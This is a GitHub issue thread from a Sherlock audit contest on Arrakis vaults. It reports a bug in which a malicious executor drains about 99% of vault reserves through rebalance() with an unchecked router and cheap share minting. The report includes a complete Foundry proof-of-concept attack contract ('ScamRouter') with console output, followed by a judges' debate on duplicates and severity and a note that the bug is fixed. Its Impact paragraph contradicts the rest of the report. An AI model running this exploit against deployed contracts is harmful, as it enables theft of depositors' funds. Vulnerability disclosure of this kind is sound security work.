sherlock-admin4 commented 3 months ago

juaan

high

Through rebalance(), an executor can drain 100% of vault reserves by minting cheap shares

Summary

The contest README states the following:

Executor of ArrakisStandardManager is RESTRICTED during rebalance action on vaults.

This is a complex attack performed by a malicious executor to drain a vault during rebalance.

It requires at least one of the tokens to be a rebase token, since it requires the pool reserves to be increased without calling HOT.depositLiquidity()

Vulnerability Detail

On calling rebalance() , it makes a call to the module, with provided payloads_ from the executor:

(bool success,) = address(module).call(payloads_[i]);

For this attack, the payload’s function signature will be of the swap() function in the ValantisHOTModule

The swap() function essentially does these 3 things:

Withdraw liquidity from the pool (via ALM)
Do an arbitrary call to an arbitrary address (router_.call(payload_))
Deposit the resulting balance back into the pool (via ALM)

The intended functionality is that in step 2, a call is made to a router which swaps the tokens to rebalance the funds. However, since the router_ param is not checked, a malicious executor can pass in any address they want.

Root Cause

After step 1, the pool’s reserves for both tokens is 0 . Then in step 2, the executor can mint vault shares at a very cheap price, since the price depends on the pool’s reserves.

Attack Details

However, when pool reserves are equal to 0 , depositing liquidity will fail due to the error: SovereignPool__depositLiquidity_zeroTotalDepositAmount . To solve this, the executor must be able to somehow slightly increase the values returned by pool.getReserves()

For non-rebase tokens, the only way would be to increase reserve0 or reserve1 in the pool, but this would require depositing liquidity, which would revert since the reserves are 0.

However for rebase tokens, the reserves are calculated via:

reserve = _token0.balanceOf(address(this));

This can be inflated by the executor since they simply have to send the token to the pool.

Now after step2, the swap() function also has a check to ensure that expectedMinReturn_ is met.

To ensure that this doesn’t revert, the executor simply passes expectedMinReturn=1 (0 can’t be used due to _checkMinReturn()) and amountIn=1 , and sends 1 wei of the output token to the module, to meet the minimum expected return.

Note that the additional TVL slippage checks in rebalance() are not effective at preventing this attack, since the attacker redeems their vault shares after the rebalance is over.

Summary of Attack (see PoC for implementation):

Malicious executor calls ArrakisStandardManager.rebalance()
ValantisModule.swap() is called, with expectedMinReturn=1 and amountIn=1 and zeroToOne=false
This executes router_.call(payload) , which calls mintFreeShares() on the attacker’s fake router contract
1. This function call first sends 1 wei of token0 and token1 to the SovereignPool, so that the reserves are non-zero
2. Then, it mints 100e18 vault shares, for the price of 100 wei (since the liquidity was withdrawn in step1 of the swap() function)]
3. It sends 1 wei of token0 to the module, so that the expectedMinReturn_ check does not revert
The remainder of ValantisModule.swap() occurs, re-depositing funds into the pool.
Attacker calls Vault.burn(100e18, attacker) to burn the 100e18 shares, stealing over 99% of the vault’s funds.

Ultimately, the attacker is able to steal 99% of the pool’s reserves, while spending 100 wei of each token, which is a negligible cost.

Impact

100% of the fees which are meant for the Arrakis manager are re-deposited into the pool by a malicious executor and never claimable by the manager.

Proof of Concept

Here is a coded proof of concept demonstrating the vulnerability in action.

To run the PoC:

Add the following test contract to a new file within the arrakis-modular/test/integration directory.
Make the following minor change in ValantisIntegrationPublicTest.sol , to configure the pool with rebase tokens

SovereignPoolConstructorArgs memory poolArgs =
        _generateDefaultConstructorArgs();
+poolArgs.isToken0Rebase = true;
+poolArgs.isToken1Rebase = true;

Then run forge test --mt test_maliciousExecutor_mintsFreeShares -vv in the terminal.

Coded PoC

```solidity // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.19; // Foundry Imports import {console} from "forge-std/console.sol"; import {Vm} from "forge-std/Vm.sol"; import {Test} from "forge-std/Test.sol"; // Arrakis Imports import {IOracleWrapper} from "../../src/interfaces/IOracleWrapper.sol"; import {ArrakisMetaVaultPublic} from "../../src/ArrakisMetaVaultPublic.sol"; import {ArrakisStandardManager} from "../../src/ArrakisStandardManager.sol"; import {IArrakisMetaVaultPublic} from "../../src/interfaces/IArrakisMetaVaultPublic.sol"; import {IArrakisMetaVault} from "../../src/interfaces/IArrakisMetaVault.sol"; import {IArrakisStandardManager} from "../../src/interfaces/IArrakisStandardManager.sol"; import {IValantisHOTModule} from "../../src/interfaces/IValantisHOTModule.sol"; // Valantis Imports import {HOT} from "@valantis-hot/contracts/HOT.sol"; import {IValantisHOTModule} from "../../src/interfaces/IValantisHOTModule.sol"; // General Imports import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol"; // Base test import {ValantisIntegrationPublicTest} from "./ValantisIntegrationPublic.t.sol"; contract FreeShares is ValantisIntegrationPublicTest { address attacker; address rec; function test_maliciousExecutor_mintsFreeShares() public { attacker = makeAddr("attacker"); rec = makeAddr("rec"); // Malicious executor's balance before rebalancing console.log("[BEFORE]:\n executor's balance- token0: %e, token1: %e", token0.balanceOf(executor), token1.balanceOf(executor)); vm.startPrank(executor); deal(address(token0), rec, init0); // 2000e6 (0: USDC) deal(address(token1), rec, init1); // 1e18 (1: WETH) address m = address(IArrakisMetaVault(vault).module()); //@e user mints from meta vault vm.startPrank(rec); token0.approve(m, init0); token1.approve(m, init1); IArrakisMetaVaultPublic(vault).mint(1e18, rec); vm.stopPrank(); // Setup ScamRouter ScamRouter scamRouter = new ScamRouter(token0, token1, address(vault), executor, address(pool)); deal(address(token0), address(scamRouter), 150 wei); deal(address(token1), address(scamRouter), 150 wei); (uint256 reserves0Before, uint256 reserves1Before) = pool.getReserves(); console.log("Pool TVL Before: %e USDC", _getPoolTVL(reserves0Before, reserves1Before)); bool zeroForOne = false; uint256 amountIn = 1; uint256 expectedMinReturn = 1; // This is the payload sent to the `router_` within `HOTModule.swap()`- called from `StandardManager.rebalance()` bytes memory router_payload = abi.encodeWithSelector( ScamRouter.mintFreeShares.selector ); bytes memory payload = abi.encodeWithSelector( IValantisHOTModule.swap.selector, zeroForOne, expectedMinReturn, amountIn, address(scamRouter), 0, 0, router_payload // to send to the fake router ); bytes[] memory datas = new bytes[](1); datas[0] = payload; vm.prank(executor); IArrakisStandardManager(manager).rebalance(vault, datas); vm.prank(executor); ArrakisMetaVaultPublic(vault).burn(100e18, executor); console.log("[AFTER]:\n executor's balance- token0: %e, token1: %e", token0.balanceOf(executor), token1.balanceOf(executor)); // Pool reserves (uint256 reserves0After, uint256 reserves1After) = pool.getReserves(); console.log("Pool TVL After: %e USDC\n", _getPoolTVL(reserves0After, reserves1After)); console.log("Token0 (USDC) Reserves Before->After: %e->%e", reserves0Before, reserves0After); console.log("Token1 (ETH) Reserves Before->After: %e->%e", reserves1Before, reserves1After); uint256 executorTotalValue = _getPoolTVL(token0.balanceOf(executor), token1.balanceOf(executor)); } function _getPoolTVL(uint256 a, uint256 b) internal view returns (uint256){ return a + b * IOracleWrapper(oracle).getPrice1() / 10**token1.decimals(); } } contract ScamRouter { // This will deposit to get free shares ERC20 public token0; ERC20 public token1; ArrakisMetaVaultPublic vault; address pool; address owner; constructor(ERC20 t0, ERC20 t1, address _vault, address _owner, address _pool) { token0 = t0; token1 = t1; vault = ArrakisMetaVaultPublic(_vault); owner = _owner; pool = _pool; } function mintFreeShares() external { address module = address(vault.module()); token0.transfer(pool, 1 wei); token1.transfer(pool, 1 wei); token0.approve(module, 100 wei); token1.approve(module, 100 wei); vault.mint(100e18, owner); token0.transfer(msg.sender, 1 wei); // prevent expectedMinReturn from failing (since we didnt swap anything) } } ```

Console Output:

[PASS] test_maliciousExecutor_mintsFreeShares() (gas: 2173357)
Logs:
  [BEFORE]:
 executor's balance- token0: 0e0, token1: 0e0
  Pool TVL Before: 4e9 USDC
  [AFTER]:
 executor's balance- token0: 1.98019812e9, token1: 9.90099009900990198e17
  Pool TVL After: 3.9603962e7 USDC

  Token0 (USDC) Reserves Before->After: 2e9->1.9801982e7
  Token1 (ETH) Reserves Before->After: 1e18->9.900990099009903e15

Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 400.79ms

Ran 1 test suite in 400.79ms: 1 tests passed, 0 failed, 0 skipped (1 total tests)

As you can see, the pool TVL dropped from 4000 USDC to ~40 USDC. Over 99% of the pool’s reserves were stolen in a single transaction by the malicious executor.

Code Snippet

The arbitrary call to the arbitrary router_

https://github.com/sherlock-audit/2024-03-arrakis/blob/64a7dc6ccb5de2824870474a9f35fd3386669e89/arrakis-modular/src/abstracts/ValantisHOTModule.sol#L375-L378

expectedMinReturn_ check that is bypassed by sending 1 wei

https://github.com/sherlock-audit/2024-03-arrakis/blob/64a7dc6ccb5de2824870474a9f35fd3386669e89/arrakis-modular/src/abstracts/ValantisHOTModule.sol#L384-L397

Tool used

Manual Review

Recommendation

Do not allow HOT.depositLiquidity() to be called during a rebalance.

cu5t0mPeo commented 2 months ago

escalate not dups of https://github.com/sherlock-audit/2024-03-arrakis-judging/issues/76 the issue should be dups of https://github.com/sherlock-audit/2024-03-arrakis-judging/issues/28 Because it also exploiting the router in the swap and malicious payload.

sherlock-admin3 commented 2 months ago

escalate not dups of https://github.com/sherlock-audit/2024-03-arrakis-judging/issues/76 the issue should be dups of https://github.com/sherlock-audit/2024-03-arrakis-judging/issues/28 Because it also exploiting the router in the swap and malicious payload.

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

IWildSniperI commented 2 months ago

i would say all of them are dups to the same issue which is this

malicious payload with not checked _router call either this is used to gain leverage to the system or to steal funds

cause either way this specific low level call is the Root Cause

0xjuaan commented 2 months ago

Escalate

A different escalation to the first one.

This should be a high, since 99% of vault liquidity is stolen.

sherlock-admin3 commented 2 months ago

Escalate

A different escalation to the first one.

This should be a high, since 99% of vault liquidity is stolen.

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

WangSecurity commented 2 months ago

@0xjuaan do you agree it's a duplicate of #28?

0xjuaan commented 2 months ago

@WangSecurity no these are both very different.

This one involves stealing all the vault funds via minting cheap shares during rebalance.

28 involves calling `claimPoolManagerFees` instead of performing a swap, to obtain the manager fees and re-deposit them through the rebalance, rather than passing the manager fees to the manager.

IWildSniperI commented 2 months ago

@WangSecurity hello sir, would you kindly elaborate to me dups rules here multiple issues here identifying this low level call here by malicious executor

        {
            (bool success,) = router_.call(payload_);
            if (!success) revert SwapCallFailed();
        }

in ValantisModule::swap() as different issues cause they are showing different attack path that can hurt the protocol what i see is that if ever in the payload the router address verified all of the issues would be resolved hinting that they are same root cause

WangSecurity commented 2 months ago

Before we continue the discussion about this specific report, let's do the following:

Tagging all Watsons who submitted and escalated reports about the malicious executor stealing funds or harming the protocol in general via ArrakisStandardManager::rebalance (Arrakis Standard Manager = ASM):

@CergyK @0xjuaan @cu5t0mPeo @kennedy1030 @ADK0010 (please tag the missing ones if there are any, also tagging @IWildSniperI cause active in the discussions).

Here're the issues:

9
19
20
49
53
76
55
56
59
if there are any missed please flag them here.

As I see, in all of these functions the exploit happens at the call to the router (input by the malicious executor) with arbitrary payloads in ASM. In some of them, the problem is solved via setting additional validation on the called functions (for example, price bounds), in others, the problem is solved by setting additional constraints on the payloads. So I'd like to get a clarification from Watsons on how you view these issues and why you think they have different root causes (the explanation can be as simple as possible, just 1 sentence).

For now, let's continue the discussion here, and then we'll move to each specific report. Also, I know that in some reports the problem is in the quality of the report, we'll discuss it once we finish this discussion

cu5t0mPeo commented 2 months ago

@WangSecurity https://github.com/sherlock-audit/2024-03-arrakis-judging/issues/19 is not a duplicate of this issue.

ADK0010 commented 2 months ago

Yaah they all seem to be together , but as you mentioned some of the above reports have faults in it - so I don't think all of them are valid as they might not either have essential elements to execute the attack or they have forgotten about some checks done by Protocol making their attack invalid.

@WangSecurity please look into discussions #76 , #55 , #59 ,#9 , #49

Also this issue seems to be part of the same family #8 , as it involves Doing an arbitrary call to an arbitrary address (router_.call(payload_)) as you can see in the report - the root cause seem to be same ( it's just that the arbitrary call is done onto SovereignPool ) and attack path has been well explained by report , so a valid dup .

IWildSniperI commented 2 months ago

@WangSecurity from what i see, every issue solved by validation of the router low level call should be grouped together If the solution happens, then no one can call any leveraged function in the sovereign pool or in the HotModule nor Hot.sol in the context of arrakisMetaVault No one would be able to call malicious routers to drain funds

WangSecurity commented 2 months ago

To get more sense, what are the routers that the executor is expected to call (for simplicity, let's assume what a trusted executor would call)? I assume it's ArrakisPublicVaultRouter or RouterSwapExecutor? Correct me if wrong.

cu5t0mPeo commented 2 months ago

To get more sense, what are the routers that the executor is expected to call (for simplicity, let's assume what a trusted executor would call)? I assume it's ArrakisPublicVaultRouter or RouterSwapExecutor? Correct me if wrong.

The router is not restricted; it can be any address on Ethereum. ArrakisPublicVaultRouter is a user input value. Users can deposit through this contract, which will then call the relevant functions of the public vault to deposit the amount into the pool. Additionally, this contract can perform a swap before making a deposit. When users perform a swap, they will be using RouterSwapExecutor.

WangSecurity commented 2 months ago

Thank you very much. If we assume the executor is trusted, would it be possible that they call these 2 Arrakis Routers, or these are only for users and would cause issues if executor called them (even with correct values without a malicious intent)?

cu5t0mPeo commented 2 months ago

Thank you very much. If we assume the executor is trusted, would it be possible that they call these 2 Arrakis Routers, or these are only for users and would cause issues if executor called them (even with correct values without a malicious intent)?

It should be impossible because if you want to call the functions in ArrakisPublicVaultRouter during rebalance, the amount will eventually be deposited into the pool. This prevents rebalance from completing subsequent checks because, during the swap, the entire amount is withdrawn from the pool and then redeposited. RouterSwapExecutor is generally called by ArrakisPublicVaultRouter.

If other Watsons find any errors in my description above, please correct me.

cu5t0mPeo commented 2 months ago

@WangSecurity Here is the related proof:https://github.com/sherlock-audit/2024-03-arrakis/blob/64a7dc6ccb5de2824870474a9f35fd3386669e89/arrakis-modular/src/ArrakisPublicVaultRouter.sol#L106-L113

0xjuaan commented 2 months ago

@WangSecurity, I believe that while the vulnerabilities involve the same external call for the attack, they should be not duplicated for the following reasons:

To say that the fix for all the issues is to simply place a whitelist on the router_ parameter is too restrictive. The executor should be able to search for the best opportunity to swap on-chain during the rebalance, depending on how much value to swap which changes over time. If a whitelist was used, and a new router is found that can achieve the swap at the best rate, it would take 2+ days to add it to the whitelist.
The entire reason for the various checks (expectedMinReturn_, TVL slippage check, price oracle check) in the ArrakisStandardManager.rebalance() function and ValantisHOTModule.swap() function is to prevent a malicious router_ from being used, since they aim to catch errors that steal funds from the protocol during the rebalance.

The attacks show ways to bypass these checks with completely different methods, so the fix should be to add more checks (similar to the checks that already exist).

For example, for #44 a valid fix would be to prevent mint() from being called on the vault during a rebalance through a cross-contract non-reentrant check, alternatively the solution provided by @CergyK in #76 also helps to minimise the damage.

On the other hand, #8 exploits the fact that the external call can be used to call admin-only functions in the SovereignPool via the ValantisHOTModule, causing stolen funds for the manager. The fix would be to disallow the router_ from being any contracts which provide admin-only functionality to the ValantisHOTModule to prevent the executor from breaching access control.

Summary

While restricting router_ to a whitelist technically prevents the attacks, it also hinders the functionality of the protocol and is an overly restrictive solution, and is definitely not optimal. Since there are already various checks during rebalance, it is clear that the protocol intent was to allow the executor to provide any router_ as long as it meets constraints like expectedMinReturn_ and the vault TVL does not drop significantly after the rebalance.

The attacks show features that the protocol did not consider (1. minting cheap shares from the vault, or 2. calling admin-only functions), so additional checks should be added to prevent these attacks.

This means that the reports should not be duplicated, since their attack methods and root causes are different.

WangSecurity commented 2 months ago

Thank you very much for that clarification. I agree these all shouldn't be duplicates under one family. Moving the discussion to each individual issue.

WangSecurity commented 2 months ago

About escalations on this report:

I believe it's not a duplicate of #28, since the attack, the impact and the fix are completely different. Planning to reject the first escalation.

I agree with the second escalation that it's high severity, cause even with the constraints, the losses are still 99%. Planning to accept the second escalation.

Since the current decision is to invalidate #76 and #55, this report will become a solo high.

ADK0010 commented 2 months ago

@WangSecurity 2 Reasons given by @0xjuaan here , I have some doubts regarding it .

1) Yaah , there are many exchanges across Defi which uses whitelisted routers for swap but it doesn't mean they don't get best rates . Best rates amongst the whitelisted routes can be chosen by executor to perform the swap . just because some new swap router shows better rates , executor shouldn't be allowed to use it - as it might be a Malicious router , so it's always better to use only whitelisted routers and a timelock of 2+ days is acceptable here . 2) Yaah , all the checks involved are to reduce possibility of drainage of funds from the Protocol , it is true .

My point is - it is true that reports mention by @WangSecurity at here (other than the invalid ones) have completely different paths to exploit the invalid _router setup by Malicious executor & it would have been judged as separate issues in any other platforms . But the Sherlock Rules for this contest says something different -
`There is a root cause/error/vulnerability A in the code. This vulnerability A -> leads to two attack paths:

B -> high severity path
C -> medium severity attack path/just identifying the vulnerability. Both B & C would not have been possible if error A did not exist in the first place. In this case, both B & C should be put together as duplicates.` see here I think watsons who participated in judging contest would have duplicated this based on this rule . This would be my last comment on these set of issues unless someone put's out some vague comment on the same . I'm okay with whichever way it would be judged as the attack paths are definitely different in the reports mentioned above .

WangSecurity commented 2 months ago

It's a very fair point, but I believe in that case it would be fairer to separate those into different groups, since as I understand whitelisted routers are not implemented now to give that freedom of choosing the better one. Also this part of the rule:

The exception to this would be if underlying code implementations, impact, and the fixes are different, then they can be treated separately

Hence, I believe better to separate them in this specific case.

Hence the decision remains the same as expressed here

WangSecurity commented 2 months ago

Result: High Unique

sherlock-admin4 commented 2 months ago

Escalations have been resolved successfully!

Escalation status:

0xjuaan: accepted
cu5t0mPeo: rejected

sherlock-admin2 commented 2 months ago

The protocol team fixed this issue in the following PRs/commits: https://github.com/ArrakisFinance/arrakis-modular/pull/88

sherlock-admin2 commented 2 months ago

The Lead Senior Watson signed off on the fix.

sherlock-audit / 2024-03-arrakis-judging

juaan - Through rebalance(), an executor can drain 100% of vault reserves by minting cheap shares #44

Through rebalance(), an executor can drain 100% of vault reserves by minting cheap shares

Summary

Vulnerability Detail

Root Cause

Attack Details

Summary of Attack (see PoC for implementation):

Impact

Proof of Concept

Console Output:

Code Snippet

Tool used

Recommendation

28 involves calling `claimPoolManagerFees` instead of performing a swap, to obtain the manager fees and re-deposit them through the rebalance, rather than passing the manager fees to the manager.

9

19

20

49

53

76

55

56

59

Summary

sherlock-audit / 2024-03-arrakis-judging

juaan - Through rebalance(), an executor can drain 100% of vault reserves by minting cheap shares #44

Through rebalance(), an executor can drain 100% of vault reserves by minting cheap shares

Summary

Vulnerability Detail

Root Cause

Attack Details

Summary of Attack (see PoC for implementation):

Impact

Proof of Concept

Console Output:

Code Snippet

Tool used

Recommendation

28 involves calling claimPoolManagerFees instead of performing a swap, to obtain the manager fees and re-deposit them through the rebalance, rather than passing the manager fees to the manager.

9

19

20

49

53

76

55

56

59

Summary

28 involves calling `claimPoolManagerFees` instead of performing a swap, to obtain the manager fees and re-deposit them through the rebalance, rather than passing the manager fees to the manager.